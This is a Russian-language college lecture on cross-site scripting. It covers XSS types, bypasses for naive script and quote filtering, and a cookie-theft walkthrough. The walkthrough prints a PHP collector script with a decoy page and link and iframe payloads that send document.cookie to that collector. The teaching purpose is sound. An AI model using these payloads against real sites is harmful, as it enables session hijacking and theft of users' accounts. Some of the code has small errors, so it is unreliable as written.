автор: Ножкин Евгений Николаевич

Преподаватель ГАПОУ СО Поволжский колледж технологии и менеджмента

Лекция на тему: XSS — инъекции. (Межсайтовый скриптинг).

Лекция №10. XSS — инъекции. 

(Межсайтовый скриптинг).

Цели занятия:

  1. Образовательная: Сформировать понятие студентов о дисциплине, ее роли в профессиональной деятельности, а также дать основные ее понятия.
  2. Развивающая: развить навыки самостоятельной работы.
  3. Воспитательная: воспитывать умение самостоятельно мыслить.
  4. Методическая: повысить эффективность учебного процесса, обобщение и систематизация учебного материала, раскрытие сущности изучаемых понятий и закономерностей на основе фактического материала.

 

XSS – это тип уязвимости программного обеспечения, свойственный Web-приложениям, который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями.

В Wikipedia содержится следующее определение для XSS: «Межсайтовый скритинг (XSS) – это тип уязвимости программного обеспечения, свойственный Web-приложениям (путем обхода ограничений безопасности браузера)», который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями. Уязвимость межсайтового скриптинга может использоваться атакующим для обхода таких механизмов безопасности как политика единства происхождения. Согласно данным Symantec за 2007 год, XSS уязвимости составили 80.5% от общего числа брешей, обнаруженных на сайтах. Рейтинг опасности таких уязвимостей может варьироваться в зависимости от важности данных, хранящихся на уязвимом сайте и существующих механизмов защиты». Вкратце, XSS или CSS (Cross-site Scripting, аббревиатура, которая также означает Cascading Style Sheets – таблицы каскадных стилей) является довольно распространенной уязвимостью среди Web-приложений. XSS позволяет атакующему внедрить вредоносный код на страницу и отправить его обратно в браузер пользователя, где этот код будет выполнен. Причиной этому являются доверительные отношения разработчика приложения к входным данным или некорректная фильтрация входных данных.

XSS опасен

XSS действительно является уязвимостью высокой степени опасности, поскольку она может использоваться для изменения DOM-модели сайта, что в свою очередь позволит похитить учетных данных администратора сайта и получить полный контроль над уязвимым приложением.

Какие цели преследует атакующий?

  • Изменение настроек
  • Кража файлов куки
  • Размещение ложной рекламы
  • Хищение токенов форм для проведения CSRF атак
  • И другое, необходимо творчески подходить к эксплуатации XSS

Типы XSS

Существует три типа XSS уязвимостей:

  • Постоянный (хранимый) XSS
    • Вредоносный код храниться на сайте или сервере
  • Непостоянный (отраженный) XSS
    • Пользователю необходимо посетить специально сформированную ссылку
  • XSS в DOM-модели
    • Источник проблемы находится в клиентском сценарии

Далее мы подробно обсудим каждый их этих типов.

Постоянный (хранимый) XSS

Википедия характеризует хранимый XSS как наиболее разрушительный тип атак. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML формате без ограничений.

Другими словами, хранимый XSS возникает, когда разработчики осуществляют некорректную фильтрацию при сохранении входных данные в БД на сервере или в при записи этих данных в файлы, а затем выводят эти данные в браузер пользователю.

Методы эксплуатация XSS

Далеко не все методы фильтрации помогают защитить сайт от XSS. Ниже мы рассмотрим самые популярные варианты фильтрации данных и техники обхода таких фильтров.

Метод 1: замена «<script>» на пустую строку

Ниже приведен код, который, несмотря на фильтрацию, уязвим к XSS.

<?php

if(!array_key_exists («name», $_GET) || $_GET[‘name’] == NULL || $_GET[‘name’] == »){

 $isempty = true;

 } else {

echo ‘<pre>’;

 echo ‘Hello ‘ . str_replace(‘<script>’, », $_GET[‘name’]);

 echo ‘</pre>’;

 }

?>

В сценарии проверяется соответствие строке «<script>» в нижнем регистре. Самый распространенный метод обхода такой фильтрации состоит в замене строки «<script>» строкой «<SCRIPT>». Так, изменив регистр, можно обойти описанную фильтрацию.

Также есть еще один способ обойти такую фильтрацию:

<script type=text/javascript>alert(«XSS»)</script>

Стоит отметить, что использование alert(“XSS”) для тестирования XSS нежелательно, поскольку большинство сайтов блокируют сценарии по ключевому слову «XSS».

Метод 2: использование magic quotes

Применяя этот метод, разработчик использует фильтрацию функции «addslashes()» языка PHP, которая добавляет символ «\» перед любым специальным символом. Таким образом, код, написанный на JavaScript, не будет выполнен.

Существует несколько способов обойти такую фильтрацию. Остановимся на двух из них.

  1. Самый простой способ обойти такой фильтр – не использовать кавычки. Например, присваивать значение переменной, а затем выполнять эту переменную, что продемонстрировано в этом коде: <script>var val= 1; alert(val)</script>
  2. Второй способ менее тривиален. Для обхода фильтрации вторым способом используется стандартная функция, переводящая числовое значение в ASCII-код. Полная таблица ASCII-кодов расположена по адресу http://www.asciitable.com. Таблица ASCII-кодов поможет в написании того, чего хотите Вы. Также можно использовать дополнение к браузеру Firefox – hackbar. Дополнение hackbar может быть полезно при конвертации данных из ASCII-кода в числовые значения. В данном примере строка «XSS» будет представлена как «120 115 115». Итак, зная числовые значения, необходимо только узнать название функции, конвертирующей числовые значения в ASCII-код. Эта функция называется «String.fromCharCode()», используя её в данном примере, можно обойтись совсем без кавычек. <script>alert(String.fromCharCode(120, 115, 115)</script>
  3. Данный код выведет на экран наше сообщение (в данном случае — «XSS»). Вышеописанный метод очень эффективен для обхода фильтрации magic quotes.

Как злоумышленник может украсть файлы куки?

На первый взгляд, что кража файлов куки – это сложная и кропотливая работа. На самом деле для успешного хищения файлов куки необходимы лишь общие навыки программирования и понимание XSS уязвимости.

Для демонстрации мы создадим сценарий collect_cookie.php на языке PHP, который будет размещен на сервере любой компании, предоставляющей хостинг. После этого будет внедрен код на языке JavaScript, который будет похищать файлы куки и передавать их на наш сайт. Когда php-файл получит данные, он сохранит их в файл stolen_cookies.txt.

Чтобы похитить файлы куки необходимо наличие трех составляющих:

  • PHP-скрипт, который будет получать данные
  • JavaScript-код, который будет воровать куки и отправлять их на наш сайт
  • Компанию, предоставляющую веб-хостинг, чтобы разместить PHP-скрипт

Первая составляющая: скрипт collect_cookie.php

Ниже приведен PHP-скрипт, который будет использован для сбора файлов куки и их запись в файл stolen_cookie.txt

<?php

$collectedCookie=$HTTP_GET_VARS[«cookie»];

$date=date(«l ds of F Y h:i:s A»);

$user_agent=$_SERVER[‘HTTP_USER_AGENT’]; $file=fopen(‘stolen_cookie.txt’,’a’);

 fwrite($file,»DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n»);

fclose($file);

 echo ‘<b>Извините, сайт находится в состоянии разработки. </b></br></br>Пожалуйста, нажмите<a

href=»http://www.google.com/»>здесь</a>, чтобы перейти на предыдущую страницу’;

?>

Разберемся, что делает данный скрипт:

$collectedCookie=$HTTP_GET_VARS[«cookie»];

В данной строке происходит сохранения значения переменной «cookies» из GET-запроса в переменную «collectedCookie»

$date=date(«l ds of F Y h:i:s A»);

Здесь происходит сохранение времени соединения, по нему можно определить время кражи cookies.

$user_agent=$_SERVER[‘HTTP_USER_AGENT’];

Сохранение user_agent жертвы для осуществления будущих атак, если они потребуются.

$file=fopen(‘stolen_cookie.txt’,’a’);

В этой строке происходит создание файла stolen_cookie.txt, в котором будут храниться похищенные данные.

fwrite($file,»DATE:$date || USER AGENT:$user_agent || COOKIE:$collectedCookie \n»);

Сохранение данных в следующем формате: (“ДАТА: || USER AGENT || COOKIE”)

fclose($file);

Закрытие файла

echo ‘<b>Извините, сайт находится в состоянии разработки. </b></br></br>Пожалуйста, нажмите<a

href=»http://www.google.com/»>здесь</a>, чтобы перейти на предыдущую страницу’; 

Осуществляется вывод на экран текста (“Извините, сайт находится в состоянии разработки”) и ссылки, ведущая на страницу google.com.
Первый шаг к сбору информации о cookies закончен.

Вторая составляющая: JavaScript-код

Ниже приведен JavaScript-код, который необходимо выполнить в браузере пользователя. Можно внедрить любой из нижеприведенных сценариев:

<a onclick=»document.location=’http://127.0.0.1/collect_cookie.php?
cookie=’+escape(document.cookie);» href=»#»>Click here for Details</a>

Данный скрипт требует реакции пользователя, поскольку выводит на экран ссылку на наш сайт. Если пользователь нажмет на показанную ему ссылку, то он попадет на наш сайт и его файлы куки будут украдены.

<iframe width=’0′ height=’0′ frameborder=’0′
src='<script>document.location=’http://127.0.0.1/collect_cookie.php?
cookie=’+escape(document.cookie);</script>’ />

Этот скрипт не требует никаких действий со стороны пользователя. Во втором случае на сайт жертвы внедряется скрытый IFrame, невидимый для глаз пользователя. 

 

Контрольные вопросы:

  1. XSS – это тип уязвимости программного обеспечения?
  2. Какие цели преследует атакующий?
  3. Типы XSS?
  4. Постоянный (хранимый) XSS?
  5. Методы эксплуатация XSS?
  6. Как злоумышленник может украсть файлы куки?
Лекция на тему: XSS — инъекции. (Межсайтовый скриптинг). Ножкин Евгений Николаевич

Следите за новостями в соцсетях

Вконтакте MAX Телеграм Одноклассники

А также подписывайтесь на канал Научно-образовательный вестник «Pedproject.Moscow» в MAX